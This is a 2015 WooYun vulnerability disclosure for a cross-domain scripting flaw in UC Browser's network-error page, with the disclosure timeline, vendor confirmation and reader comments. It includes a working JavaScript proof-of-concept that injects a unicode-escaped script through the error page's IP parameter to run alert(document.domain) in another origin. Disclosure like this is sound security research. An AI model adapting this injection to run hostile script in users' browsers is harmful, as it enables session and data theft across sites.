缺陷编号:WooYun-2015-0125244
漏洞标题:UC浏览器跨域脚本漏洞
相关厂商:UC Mobile
漏洞作者:Lyleaks
提交时间:2015-07-07 22:16
公开时间:2015-10-07 13:46
漏洞类型:设计错误/逻辑缺陷
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
2015-07-07: 细节已通知厂商并且等待厂商处理中
2015-07-09: 厂商已经确认,细节仅向厂商公开
2015-07-12: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-09-02: 细节向核心白帽子及相关领域专家公开
2015-09-12: 细节向普通白帽子公开
2015-09-22: 细节向实习白帽子公开
2015-10-07: 细节向公众公开
放假了,发现之前发的洞已经公开了,不过没修好。
之前在http://**.**.**.**/bugs/wooyun-2010-0105578中,在当前域名打开不同域名的窗口时,UC浏览器会进行拦截,不过在最新版本中已经没有这个限制了。在最新版中,UC浏览器会对失败网址进行URL编码。
跳转到出错页面的URL为
1 |
ext:lp:lp_netErrorInfo:#_NETWORK_FAIL_INFO_#;Url=http://**.**.**.**/;IP=1;IPNum=1; ;FailReason=1;ErrorCode=1; |
还有其他的参数可以控制,比如IP。IP的值默认会进行URL编码,不过浏览器不会对#后面的字符进行编码,同样也没对特殊字符进行过滤。测试发现,UC浏览器会把存在属性的标签替换为空,比如<img src=#>,不过script就够用了。构造如下POC
1 |
<a href=javascript:foo()>Test it!</a><script>var w;var t;function foo(){w = window.open("http://**.**.**.**");t = setInterval('bar()',100);}function bar(){if (w.location.href !== 'about:blank') {w.location='ext:lp:lp_netErrorInfo:#_NETWORK_FAIL_INFO_#;Url=http://**.**.**.**/;IP=#\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0064\u006f\u006d\u0061\u0069\u006e\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e;IPNum=1; ;FailReason=1;ErrorCode=1;';clearInterval(t);}<br>}</script> |
点击Test it!在**.**.**.**执行alert(document.domain)
访问http://utf7.ml/t/uc3.html点击Test it!测试版本
危害等级:高
漏洞Rank:12
确认时间:2015-07-0913:44
您好,漏洞已确认,正在修复中。感谢您对阿里巴巴安全的关注和支持。
暂无
终于放假了,来捧个场。
楼主高中狗吗?
@scanf 不是
我刚发现....原来UC浏览器和阿里巴巴有一腿
UC已经被阿里收购了 业务交接也完成了
@scanf 原来如此
原文连接
的情况下转载,若非则不得使用我方内容。